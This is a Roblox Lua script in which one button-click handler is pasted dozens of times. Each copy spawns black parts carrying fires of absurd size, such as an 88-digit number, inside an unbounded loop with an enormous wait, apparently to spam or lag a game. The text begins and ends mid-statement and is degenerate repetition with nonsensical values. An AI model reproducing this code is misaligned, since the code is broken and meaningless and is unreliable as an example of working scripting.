end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = 